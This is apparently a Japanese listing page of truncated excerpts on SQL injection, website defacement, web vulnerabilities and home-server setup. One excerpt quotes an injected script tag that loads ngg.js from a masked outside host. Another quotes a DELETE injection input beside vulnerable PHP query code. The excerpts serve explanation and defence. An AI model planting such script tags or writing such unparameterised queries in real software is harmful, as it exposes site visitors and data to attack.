うわさのngg.jsを調べていたらこんな表示のサイトを見かけました。 HTMLソースは以下の通り 宮城県、福島県、山形県、岩手県、秋田県<script src=http://www.XXXXXX.com/ngg.js></script> おそらく、SQLインジェクションによりSCRIPT要素を埋め込まれたものの、XSS対策がとられていたので、JavaScriptの実行はされない状態で表示されているのだと思います。 第5回 クロスサイト...
は7月17日，日本を含む世界中でSQLインジェクションによるWebサイト改ざんが発生していると警告した。SQLインジェクションにより，正当なWebサイトに不正なiframeタグを埋め込む攻撃で，改ざんされたサイトにアクセスしたユーザーは，不正なサイトに誘導され，ウイルスになどに感染させられる危険がある。トレンドマイクロでは既に，全世界で最大21万，日本国内においても約1...
今日のSQLインジェクション攻撃について説明するとともに、正規のWebサイトに潜んでいる悪質なページを検出、隔離し、それに対処する方法を検証する。 [Michael Cobb，TechTarget] SANS InstituteのInternet Storm Centerのアナリストらは最近、SQLインジェクションに対して脆弱なWebサイトを見つけ出して攻撃するプロセスを自動化するツールを発見した。このプロセスの自動化は、正規のサイ...
『 正しくないSQLインジェクション対策の今昔」「SQLインジェクション対策の考え方」「SQLインジェクション対策の実際 』
Webサイトは，そのサイト固有のサービスを提供するための機能を備えている。ショッピング・サイトなら，商品を紹介するためのカタログ機能や，ショッピング・バスケット機能，決済機能などを備えているだろう。これらの機能を実現するアプリケーションにセキュリティ上の不具合（バグ）が残っている場合がある。これをWebアプリケーションのぜい弱性という。 バグの...
ネタ元:キケンなSQLインジェクション SQLインジェクション対策へのアプローチとしては正しいのだけど、1点だけ気になる点が。。。 もし、悪いやつが「";DELETE FROM geekDB;」なんて入力したら、なんとデータが消えてしまうΣ(ﾟДﾟ) 実はこれではDBのデータを消すことはできない。 $sql="select * from geekDB where id = " . $id; $result = mysql_query($sql); mysql_query関数は複合クエリに対応していない...
私は最近、いつもの共有ディレクトリメカニズムを使ってファイル共有を実装することに嫌気がさしてきました。管理者レベルで定義するアクセス権が多すぎるだけでなく、異なるオペレーティングシステム間でファイルを共有するためのあらゆる処理が必要になります。その上、インターネット接続しか使用できないとしたらどうでしょう。もちろん、EメールやFTPを使うこと...
ステップ1の「何らかの手段でWebサーバーに侵入する」手段については複数の説がある。具体的には，正規サーバーのFTPのパスワードが流通しており，これを悪用したという説，PHPなどの既知のぜい弱性を利用しているという説が公表されている。 ●能動的攻撃と受動的型攻撃 ここで能動的攻撃と受動的攻撃という言葉が出てきた。これらの意味を説明しよう。 能動的攻撃...
『 「SQLインジェクションとクロスサイトスクリプティングの合わせ技みたい」うーん…。 』
マイクロソフトは25日、マイクロソフトのWebサーバー製品を狙ったSQLインジェクション攻撃が増加しているとして、Webサーバーの管理者などに対策を促すセキュリティアドバイザリを公開した。 マイクロソフトでは、マイクロソフトのWebサーバー製品を狙ったSQLインジェクション攻撃が増加していると警告。これらのSQLインジェクション攻撃では、サーバーソフト自体の脆弱...
SecureWorksによれば、1〜3月には1日当たり100〜200件程度だったSQLインジェクション攻撃が、4月に入って1000件から4000件、8000件という規模になったという。 2006年07月20日 08時47分 更新 ITセキュリティ管理サービスの米SecureWorksは7月18日、銀行や信用組合、公益企業を標的としたSQLインジェクション攻撃が、過去3カ月で激増していると発表した。 1〜3月にかけて同社が遮断したSQLインジ...
Webに限らずコンピュータシステム一般に言えることなのだが、 簡単な安全装置をつけるのを怠ることで何が起きるかという事例がこちら。 asahi.com： みずほ証券、誤注文で270億円の損失 (2005/12) 「1株61万円で売り」とすべきところを「1円で61万株を売り」にして しまったとのこと。 すかさず買いを入れて数億円規模の利益を得てしまったデイトレーダーもいるとかいないとか。 ...
)で自宅サーバーを構築したときの記録です。 当自宅サーバーは 11 日間と 1 時間 06 分 連続稼動しています。 【構築にあたっての基本方針】 ・サーバーの立ち上げ〜実運用まで考慮 Linuxのインストールから各種サーバー機能の構築及び、実運用を考慮したセキュリティの強化まで行う。 ・初心者にもわかりやすく 各種ソフトのインストール方法は、可能な限りRPMパッケージで行...
Chorizo! Secure your webapplications on the fly!Webアプリケーションセ...
『 SQLインジェクションの攻撃パターンについての説明 』
『 （ローカルブクマからはてブへ移行）：やね師匠経由：SQLINJECTION再現動画 』
前回の記事でSQLインジェクションの話は終わりにして，クロスサイトスクリプティングの話を書かせて頂こうと思っていました。しかし，6月5日に東京にて開催されたPostgreSQLカンファレンス2007でセキュリティをテーマに講演させて頂き，意外にブラインドSQLインジェクションをご存じでない方が沢山いらっしゃいました。40名ほどの聴講者の皆様にSQLインジェクションをご存じの...
Webアプリケーションの脆弱性のほとんどは、開発時のささいなミスから生じる。Webアプリケーションの攻撃から保護するには、専門家によるペネトレーションテストが有効だ。 最近、Webアプリケーションに存在するセキュリティホールが注目を浴びている。Webサーバのセキュリティ対策というと、一般にファイアウォール、IDS（不正侵入検知システム）、ウイルス対策などがよく...
当サイトは、「自宅でサーバーを構築する（windows)」という事に焦点をおいて自宅サーバー構築の手順を説明していきます。サーバーを構築するなると一見、難しそうに思えるかもしれませんが、実はそんなに難しいことではありません。ちょっと気になる維持費なども電気代を除けば一切かからず、サーバーウェアも全てフリーで利用できるので個人でも比較的、容易にサーバ...
日本体育協会は15日、同協会のWebサイトの内容が何者かに改竄されたと発表した。同サイトは現在公開を停止しており、復旧のめどは立っていないという。 改竄が判明したのは13日9時30分。同サイトのトップページに掲載されているニュース一覧が、「I am Sorry We Lost The World Cup」などと置き換わっていたほか、更新履歴のページには「hacked_by_China Hacker--Neokee」といった文が記載され...
